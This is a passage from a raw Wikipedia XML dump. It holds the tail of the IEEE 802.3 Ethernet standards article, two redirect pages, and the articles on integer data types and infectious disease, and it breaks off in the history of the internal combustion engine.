|10 Mbit/s (1.25 MB/s) over thin coax (thinnet) - Frames have a Type field. The [[Internet protocol suite]] use this frame format on any media.
|-
|IEEE 802.3
|1983
|[[10BASE5]] 10 Mbit/s (1.25MB/s) over thick coax - same as DIX except Type field is replaced by Length and LLC fields
|-
|802.3a 
|1985 
|[[10BASE2]] 10 Mbit/s (1.25 MB/s) over thin Coax (thinnet or cheapernet)
|-
|802.3b
|1985
|[[10BROAD36]]
|-
|802.3c 
|1985 
|10 Mbit/s (1.25 MB/s) repeater specs
|-
|802.3d
|1987 
|FOIRL (Fiber-Optic Inter-Repeater Link)
|-
|802.3e
|1987
|[[1BASE5]] or StarLAN
|-
|802.3i
|1990
|[[10BASE-T]] 10 Mbit/s (1.25 MB/s) over twisted pair
|-
|802.3j
|1993
|[[10BASE-F]] 10 Mbit/s (1.25 MB/s) over Fiber-Optic
|-
|[[IEEE 802.3u|802.3u]]
|1995 
|[[100BASE-TX]], [[100BASE-T4]], [[100BASE-FX]] Fast Ethernet at 100 Mbit/s (12.5 MB/s) w/Auto-Negotiation
|-
|802.3x 
|1997 
|Full Duplex and flow control; also incorporates DIX framing, so there's no longer a DIX/802.3 split
|-
|802.3y
|1998
|[[100BASE-T2]] 100 Mbit/s (12.5 MB/s) over low quality twisted pair
|-
|802.3z 
|1998 
|[[1000BASE-X]] Gbit/s Ethernet over Fibre-Optic at 1 Gbit/s (125 MB/s)
|-
|802.3-1998
|1998
|A revision of base standard incorporating the above admendments and errata
|-
|802.3ab
|1999 
|[[1000BASE-T]] Gbit/s Ethernet over twisted pair at 1 Gbit/s (125 MB/s)
|-
|802.3ac
|1998 
|Max frame size extended to 1522 bytes (to allow &quot;Q-tag&quot;) The Q-tag includes 802.1Q [[VLAN]] information and 802.1p priority information.  
|-
|802.3ad
|2000
|[[Link aggregation]] for parallel links
|-
|802.3-2002
|2002
|A revision of base standard incorporating the three prior admendments and errata
|-
|802.3ae
|2003
|10 Gbit/s (1,250 MB/s) Ethernet over fiber; [[10GBASE-SR]], [[10GBASE-LR]], [[10GBASE-ER]], [[10GBASE-SW]], [[10GBASE-LW]], [[10GBASE-EW]]
|-
|[[IEEE 802.3af|802.3af]]
|2003
|[[Power over Ethernet]]
|-
|802.3ah
|2004
|Ethernet in the First Mile
|-
|802.3ak
|2004
|[[10GBASE-CX4]] 10 Gbit/s (1,250 MB/s) Ethernet over twin-axial cable
|-
|802.3-2005
|2005
|A revision of base standard incorporating the four prior admendments and errata.
|-
|802.3an
|in work
|[[10GBASE-T]] 10 Gbit/s (1,250 MB/s) Ethernet over unshielded twisted pair(UTP)
|-
|802.3ap
|in work
|[[Backplane]] Ethernet (1 and 10 Gbit/s (125 and 1,250 MB/s) over [[printed circuit board]]s)
|-
|802.3aq
|in work
|[[10GBASE-LRM]] 10 Gbit/s (1,250 MB/s) Ethernet over multimode fiber
|-
|802.3ar
|in work
|[[Congestion]] management
|-
|802.3as
|in work
|Frame expansion
|}

What is defined in earlier IEEE 802.3 standards is often confused for what is used in practice: almost any network frame you can find on a LAN will be an Ethernet II frame, since the [[Internet protocol suite]] will use this format, with the type field set to the corresponding IETF protocol type.  IEEE 802.3x-1997 allows the 16-bit field after the MAC addresses to be used as a type field or a length field, so that Ethernet II frames are also valid 802.3 frames in 802.3x-1997 and later versions of the IEEE 802.3 Ethernet standard.

==See also==
* [[IEEE 802]]
* [[IEEE 802.1]], the network architecture
* [[IEEE 802.11]], the corresponding set of Wireless Ethernet standards

==References==
{{FOLDOC}}

==External links==
* http://www.ieee802.org/3/ -- The IEEE 802.3 Working Group
* [http://standards.ieee.org/getieee802/802.3.html Get IEEE 802.3 LAN/MAN CSMA/CD Access Method] -- Download 802.3 specifications.

[[Category:IEEE 802|IEEE 802.03]]

[[es:IEEE 802.3]]
[[fr:802.3]]
[[it:IEEE 802.3]]
[[pt:IEEE 802.3]]
[[fi:802.3]]</text>
    </revision>
  </page>
  <page>
    <title>ID Software</title>
    <id>14792</id>
    <revision>
      <id>15912325</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Id Software]]
</text>
    </revision>
  </page>
  <page>
    <title>Integral data types</title>
    <id>14793</id>
    <revision>
      <id>15912326</id>
      <timestamp>2003-09-22T21:39:00Z</timestamp>
      <contributor>
        <username>TakuyaMurata</username>
        <id>6707</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[integer (computer science)]]</text>
    </revision>
  </page>
  <page>
    <title>Integer (computer science)</title>
    <id>14794</id>
    <revision>
      <id>41799812</id>
      <timestamp>2006-03-01T21:00:02Z</timestamp>
      <contributor>
        <username>Johnteslade</username>
        <id>102856</id>
      </contributor>
      <comment>wikify tables</comment>
      <text xml:space="preserve">In computer science, the term '''integer''' is used to refer to any [[data type]] which can represent some subset of the mathematical [[integer]]s.  These are also known as '''integral data types'''.

== Value and representation ==

The ''value'' of a [[data|datum]] with an integral type is the mathematical integer that it corresponds to.  The ''representation'' of this datum is the way the value is stored in the computer&amp;#8217;s memory. Integral types may be ''unsigned'' (capable of representing only non-negative integers) or ''signed'' (capable of representing negative integers as well).

The most common representation of a positive integer is a string of [[bit]]s, using the [[binary numeral system]].  The order of the bits varies; see [[Endianness]].  The ''width'' or ''precision'' of an integral type is the number of bits in its representation.  An integral type with ''n'' bits can encode 2&lt;sup&gt;''n''&lt;/sup&gt; numbers; for example an unsigned  type typically represents the non-negative values 0 through 2&lt;sup&gt;''n''&lt;/sup&gt;&amp;minus;1.

There are three different ways to represent negative numbers in a binary numeral system.  The most common is [[two's complement|two&amp;#8217;s complement]], which allows a signed integral type with ''n'' bits to represent numbers from &amp;minus;2&lt;sup&gt;(n&amp;minus;1)&lt;/sup&gt; through 2&lt;sup&gt;(n&amp;minus;1)&lt;/sup&gt;&amp;minus;1.  Two&amp;#8217;s complement arithmetic is convenient because there is a perfect [[bijection|one-to-one correspondence]] between representations and values, and because [[addition]] and [[subtraction]] do not need to distinguish between signed and unsigned types.  The other possibilities are sign-magnitude and ones' complement. See [[Signed number representations]] for details.

Another, rather different, representation for integers is [[binary-coded decimal]], which is still commonly used in [[mainframe]] financial applications and in databases.

== Common integral data types ==

{| class=&quot;wikitable&quot;
|-
! Bits
! Name
! Range
! Uses
|-
| 8
| [[byte]], [[octet (computing)|octet]]
| ''Signed:'' &amp;minus;128 to +[[127 (number)|127]]&lt;br&gt;''Unsigned:'' 0 to +255
| [[ASCII]] characters, C char (minimum), Java byte
|-
| 16
| halfword, [[word (computer science)|word]]
| ''Signed:'' &amp;minus;32,768 to +[[32767 (number)|32,767]]&lt;br&gt;''Unsigned:'' 0 to +65,535
| [[UCS-2]] characters, C short int (minimum), C int (minimum), Java char, Java short
|-
| 32
| word, doubleword, longword
| ''Signed:'' &amp;minus;2,147,483,648 to +2,147,483,647&lt;br&gt;''Unsigned:'' 0 to +4,294,967,295
| [[UCS-4]] characters, [[Truecolor]] with alpha, C int (usual), C long int (minimum), Java int
|-
| 64
| doubleword, longword, quadword
| ''Signed:'' &amp;minus;9,223,372,036,854,775,808 to +9,223,372,036,854,775,807&lt;br&gt;''Unsigned:'' 0 to +18,446,744,073,709,551,615
| C long int (on 64-bit machines), C99 long long int (minimum), Java long
|-
| 128
| &amp;nbsp;
| ''Signed:'' &amp;minus;170,141,183,460,469,231,731,687,303,715,884,105,728 to +170,141,183,460,469,231,731,687,303,715,884,105,727&lt;br&gt;''Unsigned:'' 0 to +340,282,366,920,938,463,463,374,607,431,768,211,455
| C int __attribute__ ((mode(TI))) (on 64-bit machines using [[GNU Compiler Collection|gcc]])
|-
| ''n''
| ''n''-bit integer
| ''Signed:'' &lt;math&gt;-2^{n-1}&lt;/math&gt; to &lt;math&gt;2^{n-1} -1&lt;/math&gt;&lt;br&gt;''Unsigned:'' 0 to &lt;math&gt;2^{n}-1&lt;/math&gt;
| &amp;nbsp;
|}
Different [[Central processing unit|CPUs]] support different integral data types. Typically,
hardware will support both signed and unsigned types but only a small,
fixed set of widths.

The table above lists integral type widths that are supported in hardware by common processors.  High level programming languages provide more possibilities. It is common to have a &amp;#8216;double width&amp;#8217; integral type that has twice as many bits as the biggest hardware-supported type.  Many languages also have ''bit-field'' types (a specified number of bits, usually constrained to be less than the maximum hardware-supported width) and ''range'' types (which can represent only the integers in a specified range).

Some languages, such as [[Lisp programming language|Lisp]], [[REXX]] and [[Haskell programming language|Haskell]], support ''arbitrary precision'' integers (also known as ''infinite precision integers'' or ''[[bignum]]s''). Other languages which do not support this concept as a top-level construct may have libraries available to represent very large numbers using arrays of smaller variables, such as Java's [[BigInteger]] class. These use as much of the computer&amp;#8217;s memory as is necessary to store the numbers; however, a computer has only a finite amount of storage, so they too can only represent a finite subset of the mathematical integers. These schemes support very large numbers, for example one kilobyte of memory could be used to store numbers up to about 2466 digits long.

A [[Boolean algebra|Boolean]] or [[Flag (computing)|Flag]] type is a type which can represent only two values: 0 and 1, usually identified with ''false'' and ''true'' respectively.  &lt;!-- Pascal has them the other way around --&gt; This type can be stored in memory using a single bit, but is often given a full byte for convenience of addressing and speed of access.

A four-bit quantity is known as a ''[[nibble]]'' (when eating, being smaller than a ''bite'') or ''nybble'' (being a pun on the form of the word ''byte'').  One nibble corresponds to one digit in [[hexadecimal]] and holds one digit or a sign code in binary-coded decimal.

== Pointers ==

A [[reference (computer science)|pointer]] is often, but not always, represented by an integer of specified width.  This is often, but not always, the widest integer that the hardware supports directly.  The value of this integer is the ''memory address'' of whatever the pointer points to.

== Bytes and octets ==
{{main|Byte}}
The term ''byte'' initially meant &amp;#8216;the least addressable unit of memory&amp;#8217;.  In the past, 5-, 6-, 7-, 8-, and 9-bit bytes have all been used.  There have also been computers that could address individual bits (&amp;#8216;bit-addressed machine&amp;#8217;), or that could only address 16- or 32-bit quantities (&amp;#8216;word-addressed machine&amp;#8217;).  The term ''byte'' was usually not used at all in connection with bit- and word-addressed machines.

The term ''octet'' always refers to an 8-bit quantity.  It is mostly used in the field of [[computer network]]ing, where computers with different byte widths might have to communicate.  

In modern usage ''byte'' almost invariably means eight bits, since all other sizes have fallen into disuse; ''byte'' has thus come to be synonymous with ''octet''.

Bytes are used as the [[physical unit|unit]] of [[computer storage]] of all kinds.  One might speak of a 50-byte text string, a 100 KB (kilobyte) file, a 128 MB (megabyte) [[Random Access Memory|RAM]] module, or a 30 GB (gigabyte) [[hard disk]]. The prefixes used for byte measurements are usually written the same as the [[SI prefix]]es used for other measurements, but they often have somewhat different values, powers of 1024 rather than 1000, as illustrated in the table below.  See [[binary prefix]] for further discussion of this difference.

{| class=&quot;wikitable&quot;
! Prefix
! Name
! [[SI]] Meaning
! Binary meaning
! Size difference 
|- 
| k or K
| kilo
| 10&lt;sup&gt;3&lt;/sup&gt;&amp;nbsp; &amp;nbsp;= 1000
| 2&lt;sup&gt;10&lt;/sup&gt; = 1024
| 2.40% 
|- 
| M
| mega
| 10&lt;sup&gt;6&lt;/sup&gt;&amp;nbsp; &amp;nbsp;= 1000&lt;sup&gt;2&lt;/sup&gt;
| 2&lt;sup&gt;20&lt;/sup&gt; = 1024&lt;sup&gt;2&lt;/sup&gt;
| 4.86% 
|- 
| G
| giga
| 10&lt;sup&gt;9&lt;/sup&gt;&amp;nbsp; &amp;nbsp;= 1000&lt;sup&gt;3&lt;/sup&gt;
| 2&lt;sup&gt;30&lt;/sup&gt; = 1024&lt;sup&gt;3&lt;/sup&gt;
| 7.37% 
|- 
| T
| tera
| 10&lt;sup&gt;12&lt;/sup&gt; = 1000&lt;sup&gt;4&lt;/sup&gt;
| 2&lt;sup&gt;40&lt;/sup&gt; = 1024&lt;sup&gt;4&lt;/sup&gt;
| 9.95% 
|- 
| P
| peta
| 10&lt;sup&gt;15&lt;/sup&gt; = 1000&lt;sup&gt;5&lt;/sup&gt;
| 2&lt;sup&gt;50&lt;/sup&gt; = 1024&lt;sup&gt;5&lt;/sup&gt;
| 12.59% 
|}

== Words ==
{{main|Word (computer science)}}
The term ''word'' is used for a small group of bits which are handled simultaneously by processors of a particular [[computer architecture|architecture]].  The size of a word is thus CPU-specific.  Many different word sizes have been used, including 6-, 8-, 12-, 16-, 18-, 24-, 32-, 36-, 39-, 48-, 60-, and 64-bit. Since it is architectural, the size of a ''word'' is usually set by the first CPU in a family, rather than the characteristics of a later compatible CPU. The meanings of terms derived from ''word'', such as ''longword'', ''doubleword'', ''quadword'', and ''halfword'', also vary with the CPU and OS.

[[As of 2004]], 32-bit word sizes are most common among general-purpose computers, with 64-bit machines used mostly for large installations. [[Embedded system|Embedded processors]] with 8- and 16-bit word size are still common.  The [[36-bit word length]] was common in the early days of computers, but word sizes that are not a multiple of 8 have vanished along with non-8-bit bytes.

[[Category:Data types]]
[[Category:Computer arithmetic]]

[[de:Integer (Datentyp)]]
[[it:Numero intero (informatica)]]
[[ja:整数型]]
[[nl:Integer (informatica)]]
[[pl:Liczby ca&amp;#322;kowite (zapis komputerowy)]]
[[ru:&amp;#1062;&amp;#1077;&amp;#1083;&amp;#1099;&amp;#1081; &amp;#1090;&amp;#1080;&amp;#1087;]]</text>
    </revision>
  </page>
  <page>
    <title>Infectious disease</title>
    <id>14795</id>
    <revision>
      <id>41618370</id>
      <timestamp>2006-02-28T15:34:01Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Doctor]] to [[Physician]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">In [[medicine]], '''infectious disease''' or '''communicable disease''' is [[disease]] caused by a [[biology|biological]] agent such as by a [[virus]], [[bacterium]] or [[parasite]]. This is contrasted to [[physics|physical]] causes, such as [[burn (injury)|burn]]s or [[chemistry|chemical]]  ones such as through [[intoxication]].

== Basics ==

Infectious diseases are the invasion of a [[host (biology)|host]] organism by a foreign [[replicator]], generally microorganisms, often called ''microbes,'' that are invisible to the naked eye. Microbes that cause illness are also known as ''pathogens.'' The most common pathogens are various bacteria and viruses, though a number of other microorganisms, including some kinds of [[fungi]] and [[protozoa|protozoa,]] also cause disease. [[Prions]] are borderline, and [[meme]]s would not usually be considered in this scope.  An infectious disease is termed ''contagious'' if it is easily transmitted from one person to another.

An organism that a microbe infects is known as the host for that microbe. In the human host, a microorganism causes disease by either disrupting a vital body process or stimulating the immune system to mount a defensive reaction. An immune response against a pathogen, which can include a high fever, inflammation, and other damaging symptoms, can be more devastating than the direct damage caused by the microbe.

=== Agents and vectors ===
Infectious disease requires an ''agent'' and a ''mode of transmission'' (or ''[[Vector_(biology)|vector]]''). A good example is [[malaria]], which is  caused by Plasmodial [[parasite]]s, chiefly ''[[Plasmodium falciparum]]'' but does not affect humans unless the vector, the [[Anopheles]] [[mosquito]], is around to introduce the parasite into the [[human]] bloodstream.

The vector does not have to be biological. Many infectious diseases are transmitted by droplets which enter the airway (e.g. [[common cold]] and [[tuberculosis]]).

==Mortality from infectious diseases==
The [[World Health Organization]] collects information on global deaths by [[International Statistical Classification of Diseases and Related Health Problems|International Classification of Disease (ICD) code categories]].  The following table lists the top infectious disease killers which caused more than 100,000 deaths in 2002 (estimated).  1993 data is also included for comparison. 
{| cellpadding=3 cellspacing=0 border=1
|
|
|2002
|
|''1993'' 
|
|-
|
|World population 
| 6.2 billion 
|
| 5.5 billion
|-
|
|Total deaths from all causes
| 57 million
| 100%
| 51 million
|-
| '''Rank'''
| '''Cause of death'''
| '''Number'''
| '''Percentage of total'''
| ''Number''
| ''1993 Rank''
|-
|
| I. Communicable diseases category
| 14.9 million
| 26.0%
|-
| 1
|
:[[Lower respiratory tract infection|Lower respiratory infection]]s 
| 3.9 million 
| 6.8%
| 4.1 million
| 1
|-
| 2
| 
:[[HIV]]/[[AIDS]] 
| 2.8 million 
| 4.9%
| 0.7 million
| 7
|-
| 3
|
:[[Gastroenteritis|Diarrheal disease]]s
| 1.8 million 
| 3.2%
| 3.0 million
| 2
|-
| 4
|
:[[Tuberculosis]] (TB)
| 1.6 million 
| 2.7%
| 2.7 million
| 3
|-
| 5
|
:[[Malaria]] 
| 1.3 million 
| 2.2%
| 2.0 million
| 4
|-
| 6
|
:[[Measles]] 
| 0.6 million 
| 1.1%
| 1.1 million
| 5
|-
| 7
|
:[[Pertussis]]
| 0.30 million
| 0.5%
| 0.36 million
| 7
|-
| 8
|
:[[Tetanus]]
| 0.21 million
| 0.4%
| 0.15 million
| 12
|-
| 9
| 
:[[Meningitis]]
| 0.17 million
| 0.3%
| 0.25 million
|8
|-
| 10
|
:[[Syphilis]]
| 0.16 million
| 0.3%
| 0.19 million
| 11
|-
| 11
|
:[[Hepatitis B]]
| 0.10 million
| 0.2%
| 0.93 million
| 6
|-
|
|
:[[Tropical disease]]s (6)
| 0.13 million
| 0.2%
| 0.53 million
| 9, 10, 16, 17, 18
|}

&lt;!-- following is indented as a footnote for the table --&gt;
:''(Note: The other categories of death are maternal and perinatal conditions (5.2%), nutritional deficiencies (0.9%), noncommunicable conditions (58.8%), and injuries (9.1%).)''
----
The top three single agent disease killers are [[HIV]]/[[AIDS]], [[tuberculosis|TB]], and [[malaria]]. Lower respiratory infections (which include various [[pneumonia]]s) and diarrheal diseases are caused by many different [[virus]]es, [[bacterium|bacteria]] or [[parasite]]s.

Childhood diseases include [[pertussis]], [[poliomyelitis]], [[diphtheria]], [[measles]], and [[tetanus]]. Children also make up a large percentage of lower respiratory and diarrheal deaths.

Tropical diseases include [[trypanosomiasis]], [[Chagas disease]]. [[schistosomiasis]], [[leishmaniasis]], [[filariasis|lymphatic filariasis]], and [[onchocerciasis]].

From 1993 to 2002, the death ranking for AIDS went up from 7th to 2nd and Hepatitis B went down from 6th to 11th.  While the number of deaths has decreased in almost every disease, it has increased four-fold in [[AIDS]].

===Historic pandemics===
A [[pandemic]] (or global [[epidemic]]) is a disease that affects people over an extensive geographical area.
* The Influenza Pandemic of 1918  or [[Spanish Flu]] killed 25 to 40 million in 1 year (about 2% of world population of 1.7 billion). 
** [[Influenza]] now kills about 250,000 to 500,000 worldwide each year.
* The [[Black Death]] of 1347 to 1352 killed 25 million in Europe over 5 years (estimate of 25 to 50% of Europe, Asia, and Africa - world population was 500 million).

===New diseases and pandemics===
In some cases, a microorganism and its host live in reasonable harmony. Such is the case for many tropical viruses and the insects, monkeys, or other animals in which they have lived and reproduced for thousands or millions of years. Because the microbes and their hosts have co-evolved together, the hosts have gradually become resistant to the microorganisms. But when a microbe jumps from a long-time animal host to a human being, it may cease being a harmless parasite and—simply because it is new to the human species—become a pathogen. (See [[infection]]).

With most new infectious diseases, some human action is involved, changing the environment so that an existing [[microbe]] can take up residence in a new ecological [[niche|niche.]] Once that happens, a [[pathogen]] that had been confined to a remote habitat appears in a new or wider region, or a microbe that had infected only animals suddenly begins causing human disease.

Several human activities have led to the emergence and spread of new diseases:

:'''Encroachment on wildlife habitats.''' The construction of new villages and housing developments in rural areas brings people into contact with animals--and the microbes they harbor.
:'''Changes in agriculture.''' The introduction of new crops attracts new crop pests and the microbes they carry to farming communities, exposing people to unfamiliar diseases.
:'''Destroying rain forests.''' As tropical countries make use of their rain forests, building roads through forests and clearing areas for settlement or commercial ventures, people encounter insects and other animals harboring unknown microorganisms.
:'''Uncontrolled urbanization.''' The rapid growth of cities in many developing countries concentrates large numbers of people in crowded areas with poor sanitation, which foster the transmission of contagious diseases.
:'''Modern transport.''' Ships and other cargo carriers often harbor unintended &quot;passengers,&quot; such as insects and rats, that can spread diseases to faraway destinations.
:'''High-speed globe-trotting.''' With international jet-airplane travel, people infected with a new disease can carry the disease to the far side of the world before their first symptoms appear.

The relationship between virulence and transmission is complex, and has important consequences for the long term evolution of a pathogen. If a disease is rapidly fatal, the host may die before the microbe can get passed along to another host. However, this cost may be overwhelmed by the short term benefit of higher infectiousness if transmission is linked to virulence, as it is for instance in the case of cholera (the explosive diarrhoea aids the bacterium in finding new hosts) or many respiratory infections (sneezing, coughing etc create infectious aerosols). Since it takes time for a microbe and a new host species to co-evolve an emerging pathogen may hit its earliest victims especially hard. It is usually in the first wave of a new disease that death rates are highest.

== Diagnosis and therapy ==
The field of ''infectious diseases'' also occupies itself with the [[diagnosis]] and [[therapy]] of [[infection]].

===Diagnosis===
''Diagnosis'' is initially by medical history and physical examination, and imaging (such as [[X-ray]]s), but the principal tool in infectious disease is the [[microbiological culture]].  In a culture, a [[growth medium]] is provided for a particular agent.  After inoculation of a specimen of diseased fluid or tissue onto the medium, it is determined whether bacterial growth occurs. This works for a number of [[bacterium|bacteria]], for example [[Staphylococcus]] or [[Streptococcus]].

Certain agents cannot be [[microbiological culture|cultured]], for example the above-mentioned ''[[Treponema pallidum]]'' and most [[virus]]es. The first [[serology|serological]] markers were developed to diagnose [[syphilis]] (the [[Wassermann test]], later replaced by the [[VDRL]] and [[TPHA]] tests). Serology involves detecting the [[antibody|antibodies]] against an infectious agent in the patient's [[blood]]. In [[immunocompromised]] patients (e.g. [[AIDS]]), [[serology]] can be troublesome, because the antibody reaction is blunted.

A more recent development is direct detection of [[virus|viral]] proteins and/or DNA in [[blood]] or [[secretion]]s. This can be done by [[PCR]] (polymerase chain reaction), involving the amplification of viral DNA and its subsequent detection with anti-DNA probes.

==== The classification of infectious disease ====
One way of proving that a given disease is &quot;infectious&quot;, is to satisfy [[Koch's postulates]] ([[Robert Koch]]), which demand that the [[infectious agent]] is identified in patients and not in controls, and that patients who contract the agent also develop the disease. These postulates were tried and tested in the discovery of [[Mycobacteria]] as the cause for [[tuberculosis]]. Often, it is not possible to meet some of the criteria, even in diseases that are quite clearly infectious. For example, ''[[Treponema pallidum]]'', the causative [[spirochete]] of [[syphilis]], cannot be [[microbiological culture|cultured]] in vitro - however the organism can be cultured in rabbit testes].

[[Epidemiology]] is another important tool used to study disease in a population.  For infectious diseases it helps to determine if a disease [[outbreak]] is sporadic (occasional occurrence), [[endemic (epidemiology)|endemic]] (regular cases often occurring in a region), [[epidemic]] (an unusually high number of cases in a region), or [[pandemic]] (a global epidemic).

=== Therapy ===
When a [[microbiological culture|culture]] has proven to be positive, the sensitivity (or, conversely, the [[antibiotic resistance]]) of an agent can be determined by exposing it to test doses of [[antibiotic]]. This way, the [[microbiology|microbiologist]] determines how sensitive the target [[bacterium]] is to a certain antibiotic.  This is usually reported as being: '''S'''ensitive, '''I'''ntermediate or '''R'''esistant. The ''[[antibiogram]]'' can then be used to determine optimal therapy for the patient. This can reduce the use of [[broad-spectrum antibiotic]]s and lead to a decrease in [[antibiotic resistance]].

==== The work of an infectiologist ====
[[Physician|Doctor]]s who specialise in the [[medicine|medical treatment]] of infectious disease are called ''infectiologists'' or ''infectious disease specialists''. Generally, [[infection]]s are initially diagnosed by [[primary care]] physicians or [[internal medicine]] specialists. For example, an &quot;uncomplicated&quot; [[pneumonia]] will generally be treated by the [[internist]] or the [[pulmology|pulmonologist]] (lung physician).

The services of the infectious disease team are called for when:
* The disease has not been definitively diagnosed after an initial workup
* The patient is [[immunocompromised]] (for example, in [[AIDS]] or after [[chemotherapy]]);
* The [[infectious agent]] is of an uncommon nature (e.g. [[tropical disease]]s);
* The disease has not responded to first line [[antibiotic]]s;
* The disease might be dangerous to other patients, and the patient might have to be isolated.

The work of the infectiologist therefore entails working with patients and doctors on one hand and [[laboratory science|laboratory scientists]] and [[immunology|immunologist]]s on the other hand.

=== History ===
[[Anton van Leeuwenhoek]] ([[1632]]-[[1723]]) advanced the science of microscopy, allowing easy visualization of bacteria.

[[Louis Pasteur]] proved beyond doubt that certain diseases can be caused by infectious agents, and developed a vaccine for rabies.

[[Robert Koch]], mentioned above, gave the study of infectious diseases a scientific basis by formulating [[Koch's postulates]].

[[Edward Jenner]], [[Jonas Salk]] and [[Albert Sabin]] developed successful vaccines for [[Smallpox]] and [[polio]], reducing the threat of these  debilitating diseases.

==See also==
* [[Infection]]
* [[Microbiology]]
* [[List of infectious diseases]]
* [[Copenhagen Consensus]]
* [[List_of_publications_in_biology#Infectious disease| Important publications in infectious diseae]]
* [[Big killer]]

==References==
*[http://www.ppidonline.com/ Mandell's Principles and Practices of Infection Diseases] or [http://www.intl.elsevierhealth.com/catalogue/title.cfm?ISBN=0443066736 this site]
*[http://www.elsevier-international.com/catalogue/title.cfm?ISBN=0702026409 Manson's Tropical Diseases]
*[[Control of Communicable Diseases Manual]] edited by James B. Chin, APHA, 2000
*[[Encyclopedia of public health]] edited by Lester Breslow, Macmillan Reference 2002
* Table: [http://www.who.int/whr/en/ The World Health Report] - 2004 Annex Table 2 and 1995 Table 5

==External link==
* [http://www.idsociety.org IDsociety] - The Infectious Disease Society of America
* [http://www.GIDEONonline.com GIDEON] - Global Infectious Diseases and Epidemiology Network
* [http://www.epidemi.ca EPIDEMIca] - A weblog about infectious diseases.
* [http://www.watchtower.org/library/g/2003/5/22/article_01.htm When Insects Spread Disease], discusses problem and offers tips for prevention

{{Medicine}}

[[Category:Infectious diseases|*]]

[[de:Infektionskrankheit]]
[[es:Enfermedad infecciosa]]
[[fr:Maladie infectieuse]]
[[ko:감염병]]
[[id:Penyakit menular]]
[[lt:Infekcinė liga]]
[[nl:Infectieziekte]]
[[ja:感染症]]
[[pl:Choroba zakaźna]]
[[pt:Doença infecciosa]]
[[ro:Boală infecţioasă]]
[[simple:Infectious disease]]
[[tr:Bulaşıcı hastalık]]
[[zh:傳染病]]</text>
    </revision>
  </page>
  <page>
    <title>Internal combustion engine</title>
    <id>14796</id>
    <revision>
      <id>41981482</id>
      <timestamp>2006-03-03T00:53:44Z</timestamp>
      <contributor>
        <ip>156.34.184.200</ip>
      </contributor>
      <text xml:space="preserve">{{mergefrom|Car engine}}

[[Image:Colorized car engine.jpg|thumb|A colorized [[automobile]] engine]]

The '''internal combustion engine''' is a [[heat engine]] in which [[combustion]] occurs in a confined space called a combustion chamber. Combustion of a [[fuel]] creates high [[temperature]]/[[pressure]] gases, which are permitted to expand. The expanding gases are used to directly move a piston, turbine blades, rotor(s), or the [[engine]] itself thus doing useful work.

Internal combustion engines can be powered by any [[fuel]] that can be combined with an [[oxidizer]] in the chamber.

By way of contrast, an [[external combustion engine]] such as a [[steam engine]] does work when the combustion process heats a separate working fluid, such as water or steam, which then in turn does work.

[[Jet engine]]s, most [[rocket]]s and many [[gas turbine]]s are all forms of the internal combustion engine, but the term ''internal combustion engine'' is most often used to refer specifically to [[reciprocating engine]]s, [[Wankel engine]]s and similar designs in which combustion is intermittent. Today, in some published discussions, ''internal combustion engine'' is abbreviated to the acronym [[ICE]].
[[Image:4-Stroke-Engine.gif|framed|right|[[Four-stroke cycle]] (or Otto cycle)]]

== History ==

=== Non-compression ===
[[Leonardo da Vinci]], in 1509, and [[Christiaan Huygens]], in 1673, described constant pressure engines.  (Leonardo's description may not imply that the idea was original with him or that it was actually constructed.)

[[image:Suction_engine.JPG|thumb|150px|Demonstration of the internal combustion indirect or suction principle.  This may not meet the definition of an engine, because the process does not repeat.]]
[[image:Early-gasoline-engine-models.jpg|thumb|150px|Early internal-combustion engines were used to power farm equipment.]]

[[England|English]] inventor Sir [[Samuel Morland]] used [[gunpowder]] to drive water pumps in the [[17th century]].  In 1794, [[Robert Street]] built a compression-less engine whose principle of operation would dominate for nearly a century.
The first internal combustion engine to be Applied industrially was patented by Samual Brown in 1823.  It was based on what Hardenberg calls the &quot;Leonardo cycle&quot;, which, as this name implies, was already out of date at that time.  Just as today, early major funding, in an area where standards had not yet been established, went to the best showmen sooner than to the best workers.
The Italians [[Eugenio Barsanti]] and [[Felice Matteucci]] patented the first working, efficient internal combustion engine in 1854 in London (pt. Num. 1072) but did not get into production with it.  It was similar in concept to the successful Otto Langen indirect engine, but not so well worked out in detail.
In 1860, [[Etienne Lenoir|Jean Joseph Etienne Lenoir]] (1822 - 1900) produced a gas-fired internal combustion engine not dissimilar in appearance to a [[steam]] [[beam engine]].  This closely resembled a horizontal double acting steam engine, with cylinders, pistons, connecting-rods and fly wheel in which the gas essentially took the place of the steam.  This was the first internal combustion engine to be produced in numbers.
The American [[Samuel Morey]] received a [[patent]] on [[April 1]], [[1826]] for a &quot;Gas Or [[Vapor Engine]]&quot;.
His first (1862) engine with compression having shocked itself apart, [[Nikolaus Otto]] designed an indirect acting free piston compression-less engine whose greater efficiency won the support of Langen and then most of the market, which at that time, was mostly for small stationary engines fueled by lighting gas.  In 1870 in Vienna [[Siegfried Marcus]] put the first mobile gasoline engine on a handcart.

=== Compression ===

The most significant distinction between modern internal combustion engines and the early designs is the use of compression and in particular of in-cylinder compression.  The [[thermodynamic]] theory of idealized heat engines was established by [[Nicolas Léonard Sadi Carnot|Sadi Carnot]] in France in 1824.  This scientifically established the need for compression to increase the difference between the upper and lower working temperatures, but it is not clear that engine designers were aware of this before compression was already commonly used.  In fact it may have mislead designers who attempted to emulate the Carnot cycle in ways that were not useful.
The first recorded suggestion of in-cylinder compression was a patent granted to William Barnet (English) in 1838.  He apparently did not realize its advantages, but his cycle would have been a great advance if sufficiently developed.
Otto working with [[Gottlieb Daimler]] and [[Wilhelm Maybach]] in the 1870s developed a practical [[four-stroke cycle]] (Otto cycle) engine.  The German courts, however, did not hold his patent to cover all in-cylinder compression engines or even the four stroke cycle, and after this decision in-cylinder compression became universal.

===Applications===

Internal combustion engines are most commonly used for mobile propulsion systems. In mobile scenarios internal combustion is advantageous, since it can provide high power to weight ratios together with excellent fuel energy-density. These engines have appeared in almost all [[Automobile|car]]s, [[motorbike]]s, many [[boat]]s, and in a wide variety of [[aircraft]] and [[locomotive]]s. Where very high power is required, such as [[jet aircraft]], [[Helicopter|helicopters]] and large ships, they appear mostly in the form of [[gas turbines]]. They are also used for [[electric generator]]s and by industry.

